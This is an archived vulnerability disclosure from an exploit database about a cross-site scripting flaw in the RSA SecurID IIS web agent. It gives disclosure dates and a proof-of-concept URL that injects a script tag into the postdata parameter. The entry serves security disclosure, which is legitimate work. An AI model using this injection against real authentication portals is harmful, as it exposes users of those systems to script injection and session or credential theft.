RSA SecurID XSS Vulnerability

2010-02-11T00:00:00
ID 1337DAY-ID-10847
Type zdt
Reporter s4squatch
Modified 2010-02-11T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =============================
RSA SecurID XSS Vulnerability
=============================

Discovered 12-11-2008
 
Discovered By: s4squatch of SecureState R&D Team (www.securestate.com)
 
Vendor Notified: 10-07-2009
 
Vendor Response: 10-08-2009
 
Version: Unknown --> DLL does not contain version, therefore vendor says it is outdated and not supported.
 
  
 
POC:
 
https://www.website.com/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=get:f4e2c"><script>alert("xss")</script>60179147875&authntype=2&username=test&passcode=test[12:26] a



#  0day.today [2018-03-01]  #